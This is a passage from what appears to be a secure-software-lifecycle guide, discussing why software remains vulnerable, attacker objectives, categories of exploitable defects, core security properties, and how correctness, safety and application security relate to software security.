Software users are increasingly demonstrating that they have a fairly good, if high level, grasp of the security
functions in software that are relied on to protect sensitive information. Operating system and web server access
controls, network firewall proxy filters, encryption and digital signature systems: most users of computers and
digital information understand what these software-based protection mechanisms do and why. With the
increasingly widespread publication of the known vulnerabilities in popular commercial and open source
operating systems, web servers, databases, etc., these same users are also becoming aware that these software-
based protections are not always inviolable. Attackers find the chinks in those walls, and exploit them to bypass,
subvert, or break through them.

It is curious, then, that users aren’t more concerned about the nature of those “chinks”—i.e., the defects that make
the software protections they rely on to shield their sensitive data from unwanted scrutiny less than reliable, and
the vulnerabilities that enable them to be breached by attackers. Why is it that software users don’t want to learn
more about these chinks? Is it that they haven’t they yet made the intellectual connection between the software
they use, and the identity theft, electronic fraud, web page defacement, disclosure of national security information,
and other cyber crimes that the defects in software make possible?
And why, even when they do recognize that these vulnerabilities are there and are being successfully targeted, when they see exploits reported daily in the Common Vulnerabilities and Exposures (CVE) database, BugTraq, or the United States Computer Emergency Response Team (US-CERT) database, when the organizations they work for spend tens of thousands of dollars a month just to keep up with the vendors’ published security patches, and hundreds of thousands a year because their workforce’s computers are struck repeatedly by new and more virulent strains of replicating viruses—why in the face of all this are people still so willing to unquestioningly trust their privacy, their health, their livelihoods, indeed their very lives—and those of their loved ones—to systems controlled by software?

Finally, there is an almost schizophrenic duality in how software developers and their managers look at software. On the one hand, developers are the creators of software. As such, they are motivated mainly by two factors: (1) priorities expounded by their managers and driven by market forces, i.e., meeting customer demands and getting software to market on schedule and within budget; and (2) personal satisfaction they receive from “making something work”, in this case, functionality in software.

On the other hand, software developers and managers are themselves users of software. Like all users they are at the mercy of how other people develop the software that they use. What is curious is how developers and their managers are able to maintain a psychological disconnect between their role as software creators and software users. It is this disconnect, apparently, that enables them to continue ignoring the implications of overlooking the reliability and security in the software they create.

And yet, these developers and managers also rely totally on software. They do online shopping, and banking, and tax filing. Their doctors keep computerized medical records. They send personal electronic mail over the Internet. They buy new, highly computerized automobiles. They have medical tests and treatments from doctors that use increasingly computerized equipment. In short, they are subject to all of the same threats to their personal privacy, their livelihoods, their very lives that software security defects make possible.

One would think they would be more intellectually prone than other people to make the mental “leap” from their professional role, with the software practitioners’ particular awareness of just how many defects are allowed to remain in software when it ships, to that of users, whose life and livelihood is increasingly at the mercy of that defective software, then back again to practitioners, now recognizing that they alone have the power to change the face of software, to make it less defective, more reliable, and more secure.

In short, developers and their managers need to carry their user mentality into the workplace. They need to look at the software they develop and market with the eyes of users who will directly suffer the consequences of the defects they as software practitioners leave in the software they create and distribute.

### 2.4. Making Software Less Vulnerable to Attack

Attackers search for exploitable defects, i.e., vulnerabilities, in deployed software in order to either:

- Compromise one of the security properties of the software that contains the defect (see Section 2.1 for a discussion of software security properties). For example, by compromising the integrity of a software process, the attacker can append malicious logic to that processes; or

- Exploit a defect in how one component relates to another component, in order to compromise a security property in that second component. For example, by exploiting the failure of a defective component to establish a trusted path (i.e., authenticated, encrypted interface) to a second component to which it will pass sensitive data, an attacker can compromise the availability of that second component by setting up a spurious alternate component with the same IP address then use this spurious component to spoof the valid second component, with the result that the first, defective component passes its sensitive data to the
spurious component instead of the valid one (note that this exploit also compromises the confidentiality property of the sensitive data that is rerouted to the spurious component).

Many compromises of security properties in software result from a particular sequence of exploits that target a combination of defects in one or more of its components. This is especially true of components that are combined in a way that emphasizes one component’s reliance on a vulnerable function or attribute of another component. The types of defects most likely to be targeted are those with external interfaces that provide the attacker with a direct communication path to the defect.

2.4.1. The Nature of the Enemy: Why Attackers Target Software

A number of well-known attacks target insecurely designed and implemented information system software (particularly application software based on web technologies and protocols). The majority of these attacks have one or more of the following objectives:

- To read data the attacker is not authorized to read—i.e., a compromise of confidentiality;
- To gain access to a system the attacker is not authorized to access—i.e., a compromise of access control;
- To perform functions the attacker is not authorized to perform—i.e., a compromise of access control;
- To gain privileges beyond those authorized to the attacker in order to accomplish one of the other compromises—i.e., escalation of privilege;
- To subvert the functionality of the software in order to achieve one of the other compromises—i.e., compromise of integrity;
- To prevent authorized users from accessing the application—i.e., compromise of availability (also known as “denial of service”).

NOTE: An increasing number of attacks against information system software originate from authorized users. Such attackers constitute what is commonly termed an “insider threat”. Because these “insiders” already have access to the system, simply protecting the system from unauthorized use, or attempting to detect and block externally-originated attacks, will not be sufficient to prevent such insider attacks. Insider attackers often have the same goals as outsiders, but unlike outsiders, insiders have the advantage of starting in a position of greater access and privilege; as a result their attacks have the best likelihood of success and the worst consequences. Moreover, with the growing number of “users” that are in fact software processes, such as proxy agents and consumer web services, the nature of the “insider threat” is expanding to target not just the software in deployment, but also the software in development: developers embed malicious processes that later act as insider attackers in the deployed software. This is a key reason for the security of development processes to be increased, especially security review of code prior to deployment, and secure configuration management of both source code and executable images throughout the software’s lifetime.

Until very recently, the main or only response to the increasing number of Internet-based attacks was to implement a veritable arsenal of countermeasures and safeguards at the operating system and network levels, while virtually ignoring the need to similarly protect middleware- and application-level software. The result was the construction of a kind of double-fortress wall of network interface and operating system “defenses in depth”, while leaving middleware and applications—and ultimately the data manipulated by those applications—wholly reliant on the impenetrability of the surrounding double-wall.

However, as attackers who long targeted network-level and operating system-level software found those targets increasingly difficult to compromise, they shifted their attention to the application-level software. Here, they still find plenty of defects to exploit, and they are able to find them mainly because the operating models of many of
those applications—particularly web applications and web services—make it impossible for the firewall/IDS
double wall to adequately protect them.

The wide publicity about the literally thousands of successful attacks on software hosted on or accessible from the
Internet has only made the attacker’s job easier. It has enabled them to become increasingly familiar with the
security vulnerabilities in a wide range of commercial and open source software programs. This familiarity has
enabled them to craft increasingly sophisticated, well-targeted attacks in less and less time to exploit those
vulnerabilities.

What made application-level software so successful was the continued reliance on upper layer network protocols
that run on top of the Internet Protocol (IP) Port 80 to enable communications among the many middleware- and
application-level components in networked information systems. The need to channel so many different protocols
through the same IP port in the firewall in essence creates an unguarded drawbridge by which attackers can easily
bypass the system’s double wall of protections. In short, the very means by which the application- and
middleware-level software is designed to communicate means that this traffic must be allowed, without
constraint, through the firewall. This is a huge vulnerability that is repeatedly leveraged by attackers, who exploit
it to deliver malicious executable payloads undetected over IP Port 80 by simply injecting those payloads into
valid application data originating outside the firewall.

Appendix C provides information on the main categories of attacks to which web applications and web services,
which represent the majority of software applications exposed to the Internet, are subject.

2.5. Why Is so Much Software Insecure?

Most non-critical software in use to day is the result of artistry, not engineering. Its creation process resembles
that of a composer: he follows the general rules of music theory, but otherwise he creates without restraint, his
main motivations being a desire for self-expression and the need to finish his commissioned symphony in time for
its first rehearsal so he can get paid. Unfortunately, software developers are driven by very similar motivations.

“Software engineering” does not exist as a true engineering discipline, except among a very few development
organizations. It isn’t that most developers consider themselves “artists”. Most of them want to be “engineers”.
But the sad fact is they are at the mercy of forces beyond their control—the profit motive or the cost-savings
motive, that has turning out a product that more or less does what it’s supposed to, on schedule and within budget,
as its only measure of success.

Even when this is not the case—when software quality is considered as important (though never more important)
than rapidity of production, the rigor applied in the creation process for information system software seldom (if
ever) takes unexpected events or anomalous usage patterns into consideration. Good, high-quality software is
defined as “software that operates correctly and satisfies all of its functional requirements”, with “correctly”
defined as “it does everything it is supposed to do”. “Correctly” is never defined in terms such as “it never does
anything it isn’t supposed to do”, much less “it cannot be intentionally forced into doing something it is not
supposed to do”.

And yet, forcing software to do what it shouldn’t is exactly what the hackers, crackers, cyber-attackers, and
cyberterrorists are trying to do. And the software, with its defects and flaws and errors and faults and bugs, isn’t
able to stop them from succeeding.

The assumptions developers make about the anticipated state changes in the execution environment and in the
software itself in response to environment state changes often do not anticipate the kinds of state changes
associated with the intentionally-induced faults that are the result of attacks on the software or its environment.
Incorrect and incomplete assumptions about the behavior of the software under all possible conditions, not just
conditions associated with “normal use”, are a key source of exploitable defects in software. Another source of
vulnerabilities is the developer’s failure to understand how to design and build the software appropriately given certain assumptions, even when such assumptions are included in the requirements. These failures include:

- Not translating an assumption into a software requirement, particularly when the requirement is nonfunctional (i.e., a requirement that the software demonstrate a particular security property);
- Not designing the software to satisfy its requirements for security properties/attributes (i.e., nonfunctional requirements, vs. requirements for security functionality);
- Not understanding the security implications of different languages, tools, or techniques and how they are used when implementing the software;
- Not knowing where to begin a security evaluation of a acquired or reused software (whether acquired or reused) in order to anticipate how that software will behave in combination with other components;
- Not recognizing the need for risk-driven security testing, even when the software’s requirements specification is considered thorough and accurate;
- Not executing the “due diligence” involved in preparing the software for distribution, to ensure that it doesn’t contain any residual features (debugger commands, comments containing sensitive information [such as information about residual uncorrected defects], etc.) that could make the software vulnerable in deployment.

To develop software that is secure, developers must overcome these failures in their own approach to software specification, design, and implementation.

2.5.1. Categories of Exploitable Software Defects

Software programs—and especially networked application-level software—are most often compromised due to the intentional exploitation of defects that manifest from:

- Inherent deficiencies in the software’s processing model (e.g., web or service-oriented architecture model);
- Defects in the design or implementation of the software components in the program’s execution environment, including environment software at the middleware level, operating system level, network device and protocol level, firmware level, and hardware level;
- Defects in the design or implementation of the program’s interfaces with environment-level and application-level components;
- Defects in the design or implementation of the program’s interface with its users (human or process), especially defects that enable the user input to avoid or subvert the program’s input validation or error handling functions.

The ability to determine the relative “exploitability” of a software defect is an inexact science at best. Most developers are not trained to be able to determine whether a particular defect or series of defects can, in fact, be exploited. Even if extreme caution is applied when implementing software from scratch, most software systems are composed from a combination of acquired, reused, and from-scratch components. While it may be possible, through careful, extensive code review, to identify all defects in from-scratch code, and even to determine the potential exploitability of those defects, identifying comparable defects and their exploitability in acquired or reused components—particularly binary components—is for all intents and purposes impossible. There just aren’t adequate tools, resources, time, and expertise available.
For this reason, rather than attempting to judge whether a particular defect or type of defect can be considered “exploitable”, developers should simply consider that all software defects are potentially exploitable, and thus represent vulnerabilities. The efforts of software security can then focus on the strengthening the security of the software’s interfaces with external entities, on increasing its tolerance of intentionally-induced faults, and on modeling the more subtle, complex series of exploits that result from externally-forced sequences of interactions among combinations of components or processes that were never designed to interact during normal software execution.

The majority of security defects are preventable by applying the necessary level of due diligence to consistently security-enhancing the activities and practices associated with early phases of the development lifecycle (requirements, architecture, design), as described in this document. However, no matter how faithfully a security-enhanced lifecycle is adhered to, as long as software continues to grow in size and complexity, some number of exploitable software defects can be guaranteed to appear if only because poor programming practices and simple human fallibility will enable errors with security repercussions to be introduced during implementation or install-time configuration, even if the design of the software can be deemed vulnerability-free. For this reason, this document describes both early and late lifecycle process security enhancements, including enhancements that will help ensure that software (source code and binary) is carefully examined and tested to ensure that its required security properties and attributes can be verified. Techniques are also provided for ensuring that the software starts out and remains “secure in deployment” once it has been demonstrated to be “secure in development”.

Though a few practitioners have discovered that it takes little or no more time or resources to produce defect-free software than defective software, for most organizations this isn’t true. For them, the extra time and resources are best focused on the following elements of their software systems:

1. The components in which will be placed a high degree of trust (i.e., security functions and other high-consequence functions; Federal Information Processing Standard (FIPS) 199 describes a process for categorizing a software system’s impact level; this process can be adapted to prioritize the consequence of software components within a software system);

2. The interfaces between components (modules, processes, etc.) within the software system;

3. The interfaces between the software system and its environment, and between the software system and its users.
3. SOFTWARE AND SECURITY

Software can be characterized by its fundamental properties. Fundamental properties of software include such things as “functionality”, “performance”, “reliability”, “cost”, “usability”, “manageability”, “adaptability” and, of most interest to us, “security”.

A software property points to a set of attributes that collectively enable one to say that the software, in the way it behaves during its normal (i.e., anticipated) execution, demonstrates the fundamental property that comprises those attributes.

NOTE: This definition of “property” is broader than the description of the particular logic construct known as a “property” in Java and .NET, although such Java and .NET logic constructs are, in fact, intended to define various fundamental properties of software programs.

Security of software is considered an emergent property. Emergent properties are those that derive from the interactions among the parts—components—of the software. As an emergent property, security of the software as a whole cannot be predicted solely by considering the software’s separate components in isolation. The security of software can only be determined by observing its behavior as a collective entity, under a wide variety of circumstances. Such observation should reveal whether the desired property, in fact, emerges from the collective behavior of the software’s components as they prepare to interact, interact, and respond to and recover from interaction.

NOTE: The concept of an emergent property originates from complexity theory, and is elaborated on in Wikipedia’s definition of “emergent property” (see Appendix B).

Three lower-level properties may be seen as attributes of security as a software property:

1. **Confidentiality**: To the extent that the existence of the software itself, rather than the data it accesses (or enables access to), must be hidden or obscured;

2. **Integrity**: To the extent that the software must not be able to be corrupted by unauthorized actors (human or software process) during the software’s development or execution;

3. **Availability**: To the extent that the software must continue to operate correctly and be accessible to its intended users.

Two additional lower-level security properties, more commonly associated with data and the human users who access it, are increasingly seen as software properties. This is due to the increasing use of computing models in which software itself is a “user”, acting either on its own behalf or as a proxy agent for a human user:

4. **Accountability**: Pertains to the ability to record and track, with attribution of responsibility, the actions of users (whether humans or processes) while they are interacting with the software. This tracking must be possible both during and after the recorded interactions;

5. **Non-repudiation**: Pertains to the ability to prevent users (humans and processes) from disproving or denying responsibility for actions they performed while interacting with the software.

The main objective of all of the software security practices described in this document is to ensure that all behaviors associated with software’s internal and external interactions are secure, in terms of demonstrating all of the security properties considered desirable for software.

In order to understand the emergent properties and their attributes that are render software secure, and more importantly, to recognize the sometimes subtle differences between how those properties manifest for software.
(which can be both active—i.e., in execution—and passive—stored as a binary file) and how they manifest for

data, readers not already familiar with information assurance and cybersecurity concepts may wish to consult one
or more of the resources referenced in Section 3.1.

3.1. Providing Context: Information Assurance and Cybersecurity

Readers already familiar with Information Assurance and Cybersecurity concepts will have recognized that the
lower-level security properties identified above are also considered desirable properties for information
technology (IT) systems in which data is processed and for networks over which data is transmitted. For those
readers who are not familiar with such IA and Cybersecurity concepts, understanding these basic concepts will
make some of the concepts in this document easier to understand. These are concepts that, like the lower-level
security properties described above, span the realms of information, network, and software security. The
understanding of these concepts will enable the reader to recognize the differences between IA and Cybersecurity
on the one hand and software security on the other, in terms of emphasis, context, objectives, and priorities.

The most significant difference between software security and IA/Cybersecurity lies in the inherent difference
between software and information (which, in IT systems and networks, is manifested as data). Data by nature is
passive. It cannot perform actions, it only has actions performed upon it. Software, on the other hand, is both
passive—it exists as file or series of files in a file system directory—and active—when executed, it performs
actions. In the terminology of many access control models, software is considered a subject, while data is an
object. The significance of this difference is that, being passive, data is unable to assure its own security
properties: it must rely on the active entities external to it—file system access controls, encryption mechanisms,
application-level security protections—to assure those properties, i.e., to protect its security properties and
attributes from compromise.

By contrast, software when executing is able to contribute at least partially to assuring its own security properties.
For example, software includes its own exception handling logic which, if written by a security-conscious
developer, will ensure that no exceptions are thrown that leave the software vulnerable to compromise or
subversion.

The passivity of data is a large part of why the measures to secure it, and the networks over which it is
transmitted, are better understood than the measures required to secure software. The vast majority of software is
likely to transition through a huge number of different states during its normal operation. Each state and each
change of state has its own security implications. The larger and more complex the software, the more potential
states and state changes it will undergo.

Data, by contrast, exists in and transition through a very small number of different states, the number of which
stays constant, no matter how large or complex the data may become. In fact, the changing size and complexity of
data usually has no bearing on what mechanisms are used to protect that data. Nor does the means by which the
data was created. The security of software, on the other hand, is very much affected by how the software is
developed: the tools, language, processes, and practices used.

One example of a difference between IA/Cybersecurity and software security is in how the property of
confidentiality applies in each context. Confidentiality tends to be more important as a property of information
than of software. For software, the properties of integrity (inability to tamper) and availability (inability to delete
or deny access) are virtually always more important than confidentiality.

Confidentiality of information has the objective of making the information impossible to read by those who are
not authorized to read it. In every organization, there is virtually always a need to “hide” certain sensitive
information from at least some part of the population that may have physical access to it: information
confidentiality measures enable that information to be hidden (or obscured) while not hiding/obscuring the other
information stored in the same place or transmitted over the same network.
For software, confidentiality is usually important only within high-risk environments, in order to either:

1. Make reverse engineering difficult;
2. Hide “residual” sensitive data (such as passwords, information about defects in the software, personal data about the developers) in client-viewable source code. Note that in most cases, such data should have been removed before the software was installed or better yet, should not have been included in the first place;
3. Prevent disclosure of or access to sensitive data as it is being processed by the software (e.g., when it resides in temporary cache);
4. Obscure or hide the existence of the software itself; this is the least frequent motivation for software confidentiality, and is usually required for software running in highly-classified (in the military sense) environments where the fact of the existence of software itself is considered highly classified.

Software confidentiality measures are, by and large, comparable to data confidentiality measures. They are either applied to the software’s executable image (encryption or obfuscation of bytecode or runtime-interpreted source code) or they may be implemented in the execution environment (e.g., file system access controls).

This example of the difference in objectives and priorities for confidentiality of information vs. software should illustrate why it is important for the reader to comprehend similar differences between information and software when it comes to other security properties and attributes. The comprehension of such differences will better prepare the reader to recognize which properties and associated attributes are important for making software itself secure, vs. those that are prerequisites of the security functions, often implemented in software, that are intended to make information secure.

The following is a list of “primers” that provide good introductory material on basic IA and Cybersecurity concepts. These resources are categorized according to the general business sector for which they were authored (e.g., government, industry, academia, etc.). These resources are all available on the World Wide Web; URLs are provided in Appendix B.

**Government Resources**

- Committee on National Security Systems: *National Information Assurance (IA) Glossary*
- U.S. Marine Corps Systems Command (MARCORSYSCOM) Command, Control, Communications, Computers, Intelligence Integration (C4II) Information Assurance Division: *An IA Tutorial*
- MARCORSYSCOM C4II Information Assurance Division: *Introduction to IA (March 2003)*
Research and Academic Sector Resources

- Finnish Communications Regulatory Authority: Information Security Basics

Industry Resources (including Professional Association Resources)

- Computer Security (LV 142 A): Professor Mark Burgess’ weekly lecture summaries

3.2. Key Influences on Software’s Behavior

Three key factors affect how securely software interacts, both in terms of its internal interactions (e.g., one module or process receiving input from or providing output to another), and in terms of its external interactions (e.g., application-level software receiving data from or providing data to its execution environment, or receiving data from/or providing data to another application-level component, e.g., a web service, a client, a database). These factors are:

- The interface mechanisms used to enable the software’s internal and external interactions;
- The processing model implemented for the whole software system will determine the way in which the system’s components are structured, as well as and what each component is responsible for doing in terms of its interaction with the system’s other components. The nature of a component’s responsibilities has implications for the security properties/attributes desired in the component (as well as the security functions in may need to perform). For example, in a web-based system, with extremely decentralized control of clients (including their execution environments) but at least somewhat centralized control of servers (and their environments), the overall processing model is characterized by clients that can be trusted to exhibit few if any security properties vs. servers that can be trusted to exhibit whatever security properties are needed to ensure their own security. By contrast, in a peer-to-peer model, all components would be trusted to exhibit the same security properties.
- The different ways in which the processing model influences what security properties its components need to display is often due in large part to the nature of the technologies that are associated with that
model. For example, in a web processing model, there are a number of vulnerabilities in the communications protocols the model dictates be used for intercomponent interactions. The components, then, must exhibit certain security properties in order to avoid being compromised via the intentional exploitation of vulnerabilities in the interface mechanisms they use;

- How the software (including all of its components) was configured during installation, which will strongly influence the software’s external interactions.

In summary, the processing model by which the software operates imposes certain requirements for, and constraints on, how each component is able to ensure its own secure behavior. The processing model influences whether a given component needs to demonstrate additional security properties in order to compensate for the lack of desirable security properties in the interface mechanisms which the processing model requires it to use, and for the lack of security properties in the components with which it interacts due to the inherent nature of those components resulting from their role in the processing model. The way in which a given component is configured within its environment will determine whether the need for security properties must be satisfied by the component itself, or whether the component can “delegate” the responsibility for providing those properties due to the component’s ability to consistently and continuously rely on protections afforded to it by its environment.

3.3. Other Desirable Properties of Software and Their Impact on Security

There are other desirable properties of software which, while they do not directly make software secure, make it possible to assure that software is secure. These are:

- Predictability,
- Simplicity and traceability,
- Correctness,
- Safety.

3.3.1. Predictability and Software Security

Predictability means that the functionality, properties, attributes, and behaviors of the software will always be demonstrated in that software when it executes under anticipated operating conditions (i.e., under expected environmental conditions and in response to expected inputs). In short, predictable software will never deviate from correct operation under anticipated conditions. If the software that has also been determined to be free of defects that manifest during execution as exploitable vulnerabilities, its predictability will enable that software’s behavior to be verified as secure under anticipated operating conditions. By contrast, it will be impossible to reliably verify that the behavior of software will remain secure if that software’s operation is unpredictable, i.e., if it is only intermittently correct when executing under anticipated operating conditions.

3.3.2. Simplicity, Traceability, and Software Security

Software that is simple, with process and data flows that are traceable, is easier to comprehend, both in terms of how the software behaves internally and how it interacts with external entities (other software, environment, users, etc.). Simplicity and traceability make it easier for the design reviewer and code reviewer to discover any exploitable defects, insecure behaviors and interactions, and insecure state changes, and also to quickly identify the possible remediations for such defects.

3.3.3. Correctness and Software Security

From the standpoint of quality, correctness is a critical attribute of software that should be consistently demonstrated under all anticipated operating conditions.
Several advocates for secure software engineering have suggested that good software engineering is all that is needed to ensure that the software produced will be free of exploitable defects. There is a flaw in this thinking. Correctness under anticipated conditions is not enough to ensure that the software is secure because the conditions that surround the software when it comes under attack are very likely to be unanticipated. Most software specifications do not include explicit requirements for the software’s functions to continue operating correctly under unanticipated conditions. Software engineering that focuses only on achieving correctness under anticipated conditions will do nothing to ensure that the software will remain correct under unanticipated conditions.

If explicit requirements for secure behavior are not specified, then requirements-driven engineering, which is used increasingly to increase the correctness of software, will do nothing to ensure that correct software is also secure. In requirements-driven engineering, correctness is assured by verifying that the software operates in strict accordance with its specified requirements. If the requirements are deficient, the software may still be deemed correct as long as it satisfies the requirements that do exist.

The requirements specified for the majority of software are limited to functional, interoperability, and performance requirements. Determining that such requirements have been satisfied will do nothing to ensure that the software will also behave securely even though it operates correctly. Unless a requirement exists for the software to contain a particular security property or attribute, verifying correctness will indicate nothing about security. A property or attribute that is not captured as a requirement will not be tested for: no effort will be made to discover whether the software contains that function or property.

It is much easier to specify and satisfy functional requirements stated in positive terms (“the software will perform such-and-such a function”). Security properties and attributes, however, are often non-functional (“this process must be non-bypassable”). Even “positively” stated requirements may reflect inherently negative concerns. For example, the requirement “if the software cannot handle a fault, the software must release all of its resources, then terminate execution” is in fact just a more positive way of stating the requirement that “a crash must not leave the software in an insecure state”.

Moreover, it is possible to specify requirements for functions, interactions, and performance attributes that result in insecure software behavior. By the same token, it is possible to implement software that deviates from its functional, interoperability, and performance requirements (i.e., software that is, from a requirements engineering perspective, incorrect) without that software behaving insecurely.

Faults, Errors, Flaws, and Failures: Defects All

For purposes of this document we use the word “defect” to designate “any cause of a deviation from secure behavior”. “Defect” was chosen over “fault”, “flaw”, “error”, “failure”, and “bug” in appreciation of Bala Subramaniam’s definition of “defect” in his CrossTalk article “Effective Software Defect Tracking” (see Appendix B). According to Subramaniam, a defect is any “variance from a desirable attribute”.

Subramaniam’s definition has the advantage of acknowledging that not all software requirements necessarily result in software with desirable attributes. This is because not all requirements are clearly defined, correctly stated, or well-conceived. While in terms of functional specifications, software that satisfies all functional requirements can also be said not to vary from desirable attributes, the same is not true for software security. It is virtually inevitable that at least some portion of required software functionality will deviate from the desirable attribute of “being secure”.

Until all developers routinely consider and address the security implications of their software requirements, those requirements will continue to contain security defects that will be transmitted into in the software’s design and implementation. As Subramaniam concludes, “Using the broader definition of a defect ensures that not only are resultant errors or nonconformance to requirements discovered, but also variance from a desired attribute.”

Discovery of variances from the desired attribute of “security” is exactly what the security review and testing methodologies described later in this document are intended to help developers accomplish.
Software that is correct under anticipated conditions, but which behaves unpredictably under unanticipated conditions, cannot be considered secure. However, it may be possible to consider software that is incorrect but completely predictable to be secure if the incorrect portions of the software do not manifest as exploitable defects. Thus, it does not follow that correctness will necessarily help assure security, nor that incorrectness will necessarily manifest as insecurity. However, correctness in software is just as important a property as security. Neither property should ever have to be achieved at the expense of the other.

A number of implementation defects in software that can be exploited by attackers can be avoided through engineering-for-correctness. By reducing all defects in software, the subset of those defects that represent vulnerabilities will also coincidentally be reduced. However, more complex vulnerabilities—those caused through series of interactions among components, for example—may not arise from incorrectness; each interaction may, in fact, be perfectly correct: it is only the sequence and combination of interactions that creates the exploitable vulnerability in the software. Engineering for correctness will not eliminate such vulnerabilities.

For purposes of requirements-driven engineering, no requirement for a software function, interface, performance attribute, or any other attribute of the software should ever be deemed “correct” if that requirement can only be satisfied in a way that allows the software to behave insecurely, or which makes it impossible to determine or predict whether the software will behave securely or not. Better yet, every requirement should be specified in a way that ensures that the software will always and only behave securely when the requirements is satisfied.

### 3.3.3.1. Small Faults, Big Consequences

There is a conventional wisdom among many software developers that says faults that fall within a specified range of speculated impact (“size”) can be tolerated, and allowed to remain in the software. This belief is based on the underlying assumption that “small defects have small consequences”. In terms of faults with security implications, however, this conventional wisdom is wrong. Consider the impact of a “small fault”—a single buffer overflow—in a program that runs with “root” privilege. An attacker sends a very long string of input data to the program, input that includes both malicious code and a return address pointer to that code. Because the program doesn’t do bounds checking, the input is accepted by the program and overflows the stack buffer that receives it.

As a result, the malicious code contained in the input is loaded onto the program’s execution stack in memory, and the subroutine’s return address is overwritten to point to that malicious code. When the subroutine terminates, the program jumps to the malicious code, which is executed. In this case, the malicious code now operates with “root” privilege, and calls the system shell, enabling the attacker to take control of the system. (Even if the original program hadn’t operated at root privilege, the malicious code may have contained a privilege escalation exploit to gain that privilege).

Small fault. Big consequence.

Obviously, when considering software security, the size of a fault cannot be seen as a reliable predictor of the magnitude of the impact of that fault. For this reason, the risks of every known defect—regardless of whether it is detected during design review, implementation, or testing—should be analyzed and mitigated or accepted by authoritative persons in the development organization.

For high assurance systems, there is no justification for tolerance of known defects. True software security is achievable only when all known aspects of the software are understood, and verified to be predictably correct. This includes verifying the correctness of the software’s behavior under a wide variety of conditions, including hostile conditions. This means that testing of the software needs to include observing its behavior when attacks are launched against the software itself, as well as:

- When its inputs or outputs (data files, arguments, signals, etc.) are compromised;
• When its interfaces to other application-level entities are compromised;
• When its execution environment is attacked.

See Section 5.4 for information on testing techniques and tools that will enable the observation of software behaviors and state changes in response to a wide variety of insecure and anomalous interactions.

3.3.4. Software Safety and Software Security

The focus of safety for software is on sustaining predictable, dependable program execution in the face of unpredictable but unintentional faults. Software safety is the most extreme form of software reliability: safety-critical software is high-consequence software in which a failure could result in the loss of human life.

By contrast with software safety, software security is concerned with sustaining predictable, dependable program execution in the face of intentional faults, either faults “planted” in the software under development by a rogue developer, or faults induced in the executing software by an attacker. The intentionality of faults is at the core of what makes the requirements for software security different from those not only of software safety, but of software reliability, software fault tolerance, software high confidence, etc.

Intentionality is also the reason why assuring correctness and handling accidental faults is not sufficient for assuring software security. It is also the reason that to date, many in the software safety community have not concerned themselves with software security issues. This lack of concern is no longer acceptable.

Safety-critical software, including software that was traditionally used in closed systems, is increasingly being networked, and often over highly exposed public networks like the Internet. Any high-consequence software system connected to a network (as an increasing number of SCADA and other safety-critical systems are) becomes a high-value target for attackers. Even if such a safety-critical software system could be warranted free of defects that could lead to the software’s failure if exposed to an unintentional fault, i.e., traditional safety defects, the software may still contain security defects that are unaffected by the types of unpredictable, unintentional faults that arise during the software’s normal operation—which are often the only faults modeled during safety engineering. Such “dormant defects” are likely to be overlooked during code safety inspections and fault injections.

How assured is the safety of software when its safety engineering overlooks the “dormant defects” that may not occur accidentally, but which can certainly be induced through intentional human ingenuity? If such an intentionally-induced fault causes the safety-critical software to fail, is the damage in terms of lives lost any less catastrophic because the fault isn’t accidental?

A key tenet on which this document is based is that if it is accessible from a network, software that contains even a single exploitable defect not only cannot be considered secure, but cannot be considered safe. Security is a prerequisite for the safety of networked software. In short, unless it can be assured that safety-critical software is reliable under all fault conditions—that includes conditions in which faults are intentionally-induced (non-stochastic), and not just conditions in which faults are accidental (stochastic)—that software cannot be considered safe at all.

3.3.5. Secure in Development vs. Secure in Deployment: Application Security

Techniques and Software Security

A growing industry has emerged to address the need for what is being called (by that industry, at least) “application security”. Application security primarily represents “secure in deployment” techniques that focus less on preventing vulnerabilities in applications, and more on:
1. Strengthening the protective boundaries around the application in order to block input to the application that might be intended to exploit those vulnerabilities;

2. Constraining the damage that is caused when such input does manage to reach the application.

Application security is, in essence, the implementation at the application layer of the same types of techniques and tools used for network security, e.g., vulnerability scanners, intrusion detection tools, and firewalls: measures that are intended to strengthen the boundaries around the application software in order to compensate for the vulnerabilities in that software. Simply, application security is the adaptation of network (Data Link, Internet Protocol [IP], and Transport Connection Protocol [TCP] layer) security techniques to address the problem of securing applications that run on networks (particularly web applications and web services).

Software security, by contrast, provides techniques and tools to produce software that has very few vulnerabilities in the first place, and which is designed and implemented so that the software itself can resist and rapidly recover from attempts to exploit the vulnerabilities that it does contain. In some cases, particularly in software systems that contain acquired or reused (commercial, legacy) binary components, application security techniques and tools may be the only effective countermeasure for the vulnerabilities in those components.

Where application security techniques/tools focus mainly on blocking bad input into those components and/or containing the damage that may occur if a component receives bad input, software security also focuses on the most secure way to integrate (or assemble) those components in the first place, so that the attack surface (i.e., number of exposed vulnerabilities) of the resulting software system is minimized.

Unlike application security, software security spans both “secure in development” and “secure in deployment” techniques, with the main objectives being:

1. Prevention of vulnerabilities in the application software;

2. Remediation of any vulnerabilities that may not have been prevented (or preventable) before deployment of the application.

The focus of this document is on software security, not on application security. Until a disciplined, repeatable security-enhanced development process is instituted, most organizations will need to rely heavily on the application security element of software security. The objective of security-enhanced development is to move away from this high reliance on application security because the software vulnerabilities that application security is meant to address in deployment will, in fact, have been avoided in development.

### 3.4. Security of Software Built from Acquired or Reused Components

The most common rationale for favoring use of acquired or reused software over from-scratch development of software is that such software is more expensive, both in terms of initial development and maintenance. However, when security, fault tolerance, safety, etc., are critical properties, this rationale does not necessarily hold. The cost of from-scratch development may, in fact, be lower over the application’s lifetime than the costs associated with the numerous ongoing risk assessments, safeguards and countermeasures that need to be implemented and maintained to mitigate the security vulnerabilities that are prevalent in most acquired or reused software.

Because security is an emergent property, it will be impossible to accurately predict the security of an application integrated/assembled from a set of software components (or modules, or programs) by observing the individual behaviors of those components in isolation, though serious static analysis techniques can contribute to the understanding of intercomponent interactions and resultant component behaviors.

The security of a component assembly or integrated application emerges from the behaviors of all of its components as they interact during the application’s execution. Even if it can be determined that an individual
component is inherently secure, that determination may reveal very little about the security of that component as it will operate in combination with the other components.

Predicting the properties of a given application component may not be possible, even when it is fully understood in isolation. This is due in part to the difficulty of identifying architectural mismatches, and associated property mismatches, among the different components of the application. It is harder still to determine how these mismatches might affect the security of the application as a whole. Most developers do not have the skills or techniques needed to determine which properties need to be disclosed by each component in a particular combination of components. So, while a given software component may be considered secure in a specific context, it does not necessarily hold that the same software component will still be secure in a different context, e.g., when interacting with a different set of components. Further compounding the problem is the difficulty of predicting intercomponent interactions in a dynamic environment, or even in a static environment when a larger software system is under consideration. Such attempted predictions are seldom accurate.

